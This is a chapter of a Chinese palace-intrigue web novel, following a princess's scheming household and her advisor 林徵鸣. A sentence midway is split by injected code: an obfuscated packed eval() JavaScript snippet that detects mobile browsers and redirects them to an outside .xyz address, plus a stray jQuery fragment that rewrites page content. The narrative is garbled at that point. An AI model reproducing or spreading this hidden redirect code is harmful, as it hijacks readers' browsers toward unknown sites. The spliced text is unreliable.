林徵鸣现在和秦问竹住在城东的祥安客栈,赶上吃晚饭的点儿,大堂坐满了人,小二端着巨大的托盘穿梭其间,上菜不停。
“借过借过!”
三五成群聚在一起饮酒划拳的客人喊声冲天,本就炎热的天气里酒气蒸腾,夹杂着各种各样饭菜的气味,混合在一起,着实不好闻。
他艰难穿过人群上了二楼,期间还不慎撞到了一个喝醉酒的男人,那男人脚步趔趄没有站稳,扶了林徵鸣的胳膊一把,在他的白衣上留下一个油乎平的手印。
林徵鸣忍耐到了极限,三两步上了楼,转到最里面的房间推门进去,紧紧关上门才喘了一口气。
紧闭的房门隔绝了楼下吵闹嘈杂的声音,他十分嫌弃地看着自己衣服上的油渍,艰难伸出两根手指,脱了衣裳,团成一团扔在门口。
小二正忙着,没时间给他烧水沐浴,他只好将就净了手,坐在一边等。
秦问竹掀开帘子,从里间出来,见他回来,有些惊讶:
“怎么早就回来了?公主没留你用饭?”
林徵鸣冷淡:“你当昭平公主府是什么路边的馆子,随意便可进去吃一顿再出来?”
秦问竹讪笑:“你不是做了公主的幕僚,还最近不是经常在公主府用饭,你现在可是公主府的红人。”
林徵鸣没有说话,起身打开了窗子。房间的窗户不临街,外面就是幽静无人的后巷,没有源源不断飘上来的饭菜和油烟味,总算让人心情舒畅了些。
秦问竹没有察觉到他的冷淡,或许是察觉到了,但是并不放在心上。拎起他扔在门口的衣袍,啧啧感叹:“这衣裳还挺好的呢,料子多讲究,你就这么扔了?”
林徵鸣简直要烦死他的喋喋不休,不耐道:“你若想要拿去就是。”
秦问竹顿了顿,将衣裳扔回原地,翻了个白眼,嘟哝道:“以为谁都像你这么阔绰,花的还不是大学士的钱,又不是真的公子哥,装什么阔呢。”
他坐在榻上挠了挠头,仿佛刚才当面说人的不是他一样,嬉皮笑脸道:“你在公主府当差,可有银子拿?昭平公主得了皇帝那么多赏赐,怎么也不见赏你些什么?你若嫌这里吵,咱们租个院子、换个住处不就行了?”
林徵鸣不搭理他,看着窗外来来往往的人群,像是没听见。
秦问竹突然想起什么似的,起身凑到林徵鸣身边,小声道:
“你今日和公主去游湖啦?那个公主还挺善良的嘛,不像他们说的那样动不动拿鞭子抽人啊!”
林徵鸣意识到什么,猛然回头看他:“你怎么知道?你做了什么?”
秦问竹被他冷厉的神情吓了一跳,缩了缩脖子,理直气壮道:“怎么?我不就是往公主府再安插一个人嘛,我这也是为了你好,你孤身一人,如今也好有个照应……”
林徵鸣想,是为了监视我吧。
“那个人是你找来的?”
“我哪有那么大能耐,是殿下的人,怎么,没想到吧?小小年纪已经是武艺高强的玄林卫了,哼哼。”
他洋洋得意,似乎在告诉林徵鸣:殿下不放心你,派人看着你呢!
可惜林徵鸣并没有露出他想看的神色,脸色依旧是一如既往的平静。
“哦。”
秦问竹一哽,识相地换了个话题:“你进了公主府,可有《神兵》的线索?”
林徵鸣看他的眼神像看傻子:“这十日,公主有没有见我,你不清楚吗?”
“那我不就是问问……”
秦问竹嘟嘟囔囔地,心里嘀咕林徵鸣的脾气怎么越来越大了,骂骂咧咧进了里屋。
林徵鸣看着他的背影,眼底浮现一抹狠厉。
深夜,公主府的书房里依旧点着灯,忍冬端着一个托盘,穿过垂花门走进来,带刀护卫目不斜视。书房门外站着几个小丫鬟,年龄都不大,其中一个还是李介来时躲在门后、哭得手足无措的,此刻却脸色严肃,眼神锐利,腰间配着软鞭,分明是经过严格训练的护卫。
忍冬行至门前,两个护卫点点头,替她推开门。
灯下,宋庭玉正看着一封信,微微蹙眉,悦动的烛火在她脸上投下浮动的光影,灯下看美人,可这美人却是有毒带刺的。
“殿下,用些汤点吧。”
忍冬上前将托盘放在桌上,打开盖子,里面是炖的软烂的雪耳燕窝。
宋庭玉将手中的信凑近烛火,火舌瞬间舔上信纸,像焦黑的蝴蝶从她手中飞跃耳动。她变换着手,将燃起的纸扔到一边的铜盆里,才拿起托盘中的银匙,想了想,问道:“今日救下的那个小姑娘如何了?”
忍冬回:“菘蓝带着人去看了,那小姑娘叫杨珠儿,确实住在李家庄,家中有个老父已经停灵多时,却没钱安葬,她拿着咱们给的银子安葬了她父亲,就说要跟着回来,到府中做事。虽说看着是没什么问题,菘蓝却觉得谨慎为好,暂时将人放到了庄子上。”
宋庭玉道:“抓她的家丁查清楚了吗?”
“查清楚了,是曹家的,曹二公子前些日子到枕楼听曲儿,适逢杨珠儿被卖到枕楼,老板让她接客,可巧让曹二公子看上了,就给人赎了身,还要将人拉回去做通房丫头。王都中人谁不知曹二公子暴戾狠毒的名声,跟了他才是跳火坑呢。还好杨珠儿机敏,找个空子逃了出来,被咱们遇上了。”
“曹二公子,曹文益。”宋庭玉沉思着:“杨珠儿一个弱女子,怎么逃出来的?”
忍冬听她话中有话,思索片刻道:“是有些奇怪,殿下觉得有问题?”
宋庭玉摇摇头:“你说那杨珠儿家里就剩她一个人了?”她沉吟片刻:“让她先在庄子上,同织娘一起做些事,派人看着些,有什么异动立刻来报。”
“是!”
“玄明道人可有消息?
“回殿下,影一已经带人去查了,目前还没有消息传回来。”
“玄明道人四海为家,又是难得的世外高人,行踪不定也是正常,只是此间事急,断没有本宫白白等着他的道理。万寿节就在年底,寒若观将赶在万寿节前建成,无论如何,也要在那之前给本宫把人带回来!”
忍冬再次应下。
“还有什么事?”宋庭玉挑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362239|183739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眉。
忍冬双手呈上一个礼单,面露犹豫:“是贵妃娘娘送来的。说来奇怪,怎么殿下进宫一趟之后,贵妃娘娘总是送东西过来,咱们平日里同她也没有往来啊。”
宋庭玉摆摆手:“不必看了,你去库房里挑着几样合适的东西回了就是。”她不是不好奇颖贵妃为什么对自己示好,只是事发突然,她总要观察一番再下定论。
况且……
她看着忍冬手里的礼单,突然道:“春花宴的帖子,日后也给贵妃娘娘送去一份,她若肯来,那再好不过了。”
忍冬带上门出去,宋庭玉独自坐在灯下看着手里的密报。三月的天气,屋子里还有些凉,放在桌上的汤渐渐没了热气。她夜里惯常睡不着,自己也不强求着躺下,只靠在桌边眯起眼睛打个盹,没想到就这样睡了过去。
于是,她又在梦里看见了那片大火。
吞噬一切的热浪,铺天盖地,如同一个巨大的怪兽,张开了血盆大口,没有人能够逃脱,她自然也不例外。她呆呆地站在原本精致典雅的宫殿前,看着它渐渐被火焰淹没,化作其中的新柴,加速它的燃烧,反哺它的蔓延。
她仿佛不会说话,只能眼睁睁看着火焰将一切都变成废墟,她想大声喊,却无论如何都张不开口。
只有一个声音,反反复复在她耳边念着:
“燕儿过南山,四五成一行。垂柳北口处,老翁看天忙。”
……
“燕儿过南山,四五成一行。垂柳北口处,老翁看天忙。”
“殿下,您说什么?”公主府的管家陈伯摆好一桌琳琅满目的小吃,看着宋庭玉眼下淡淡的青黑,面露心疼。
“没什么。”宋庭玉摇摇头,没什么精神地拿起碗中的瓷勺:“陈伯,你可还记得母亲儿时喜爱唱什么童谣?”
陈伯一愣,放下手中的托盘,脸上带了几分怀念的神色,细细思索片刻才道:
“小姐小时候乖巧得很,不需要人多哄,一沾枕头就睡着了,乳母们都夸小姐完事不挂心,是个有福气的人。后来,小姐聪慧,开蒙又早,平日里念的都是先生教的诗词文章,没听说有什么童谣。”他顿了顿:“殿下,为何突然问起这个?”
宋庭玉淡淡一笑:“没什么,只是昨日梦到母亲,突然想起来罢了。”
陈伯叹了一口气,知道她平日嘴上不说,可哪有孩子不思念母亲的?老夫人身体不好,他们几个元帅府里的老人幸得公主庇护,才没有落得老无所依的下场。宁家如今人丁凋敝,就靠着公主一人苦苦支撑,实在是艰难。
他知道宋庭玉夜里睡不着觉,想劝慰几句,可又不知从何说起,看着她对吃的东西也提不起兴趣,心里更是着急,不由想:什么时候能有一个贴心人在公主身边就好了,时时宽慰几句,也好过什么都憋在心里。
他轻手轻脚退了出去。
宋庭玉没有胃口,简单用了几口,就懒懒扔了筷子,心里还思索着昨夜梦里的那句童谣,正出神,就听忍冬脚步匆匆赶了进来:
“不好了殿下,林先生被赶了出来,要露宿街头了!”